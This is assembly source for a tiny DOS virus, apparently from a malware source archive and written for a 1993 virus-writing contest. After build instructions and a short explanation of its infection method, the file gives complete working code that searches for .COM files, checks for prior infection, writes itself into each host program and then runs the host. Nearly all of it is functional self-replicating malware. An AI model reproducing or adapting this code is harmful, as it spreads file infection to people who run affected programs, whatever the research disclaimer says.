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https://github.com/vxunderground/MalwareSourceCode.git
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153 lines
7.0 KiB
NASM
153 lines
7.0 KiB
NASM
;A small (139 byte) virus with minimal required functionality.
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;This Virus for research purposes only. Please do not release!
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;Please execute it only on a carefully controlled system, and only
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;if you know what you're doing!
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;An example for
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;#######################################################
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;# THE FIRST INTERNATIONAL VIRUS WRITING CONTEST #
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;# 1 9 9 3 #
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;# sponsored by #
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;# American Eagle Publications, Inc. #
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;#######################################################
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;Assemble this file with TASM 2.0 or higher: "TASM LITTLE;"
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;Link as "TLINK /T LITTLE;"
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;Basic explanation of how this virus works:
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;
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;The virus takes control when the program first starts up. All of its code is
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;originally located at the start of a COM file that has been infected. When
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;the virus starts, it takes over a segment 64K above the one where the program
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;was loaded by DOS. It copies itself up there, and then searches for an
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;uninfected file. To determine if a file is infected, it checks the first two
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;bytes to see if they are the same as its first two bytes. It reads the file
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;into memory right above where it is sitting (at 100H in the upper segment).
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;If not already infected, it just writes itself plus the file it infected back
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;out to disk under the same file name. Then it moves the host in the lower
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;segment back to offset 100H and executes it.
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.model tiny ;Tiny model to create a COM file
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.code
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;DTA definitions
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DTA EQU 0000H ;Disk transfer area
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FSIZE EQU DTA+1AH ;file size location in file search
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FNAME EQU DTA+1EH ;file name location in file search
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ORG 100H
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;******************************************************************************
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;The virus starts here.
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VIRSTART:
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mov ax,ds
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add ax,1000H
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mov es,ax ;upper segment is this one + 1000H
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mov si,100H ;put virus in the upper segment
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mov di,si ;at offset 100H
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; mov cl,BYTE (OFFSET HOST AND 0FFH) ;can't code this with TASM
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mov cl,8BH ;we can assume ch=0
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rep movsb ;this will louse the infection up if run under debug!
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mov ds,ax ;set ds to high segment
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push ds
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mov ax,OFFSET FIND_FILE
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push ax
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retf ;jump to high memory segment
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;Now it's time to find a viable file to infect. We will look for any COM file
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;and see if the virus is there already.
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FIND_FILE:
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xor dx,dx ;move dta to high segment
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mov ah,1AH ;so we don't trash the command line
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int 21H ;which the host is expecting
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mov dx,OFFSET COMFILE
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mov ch,3FH ;search for any file, no matter what attribute (note: cx=0 before this instr)
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mov ah,4EH ;DOS search first function
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int 21H
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CHECK_FILE: jc ALLDONE ;no COM files to infect
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mov dx,FNAME ;first open the file
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mov ax,3D02H ;r/w access open file, since we'll want to write to it
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int 21H
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jc NEXT_FILE ;error opening file - quit and say this file can't be used
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mov bx,ax ;put file handle in bx, and leave it there for the duration
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mov di,FSIZE
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mov cx,[di] ;get file size for reading into buffer
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mov dx,si ;and read file in at HOST in new segment (note si=OFFSET HOST)
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mov ah,3FH ;DOS read function
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int 21H
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mov ax,[si] ;si=OFFSET HOST here
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jc NEXT_FILE ;skip file if error reading it
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cmp ax,WORD PTR [VIRSTART] ;see if infected already
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jnz INFECT_FILE ;nope, go do it
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mov ah,3EH ;else close the file
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int 21H ;and fall through to search for another file
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NEXT_FILE: mov ah,4FH ;look for another file
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int 21H
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jmp SHORT CHECK_FILE ;and go check it out
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COMFILE DB '*.COM',0
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;When we get here, we've opened a file successfully, and read it into memory.
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;In the high segment, the file is set up exactly as it will look when infected.
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;Thus, to infect, we just rewrite the file from the start, using the image
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;in the high segment.
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INFECT_FILE:
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xor cx,cx
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mov dx,cx ;reset file pointer to start of file
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mov ax,4200H
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int 21H
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mov ah,40H
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mov dx,100H
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mov cx,WORD PTR [di] ;adjust size of file for infection
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add cx,OFFSET HOST - 100H
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int 21H ;write infected file
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mov ah,3EH ;close the file
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int 21H
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;The infection process is now complete. This routine moves the host program
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;down so that its code starts at offset 100H, and then transfers control to it.
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ALLDONE:
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mov ax,ss ;set ds, es to low segment again
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mov ds,ax
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mov es,ax
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push ax ;prep for retf to host
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shr dx,1 ;restore dta to original value
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mov ah,1AH ;for compatibility
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int 21H
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mov di,100H ;prep to move host back to original location
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push di
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; mov cx,sp ;move code, but don't trash the stack
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; sub cx,si
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mov cx,0FE6FH ;hand code the above to save a byte
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rep movsb ;move code
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retf ;and return to host
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;******************************************************************************
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;The host program starts here. This one is a dummy that just returns control
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;to DOS.
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HOST:
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mov ax,4C00H ;Terminate, error code = 0
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int 21H
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HOST_END:
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END VIRSTART
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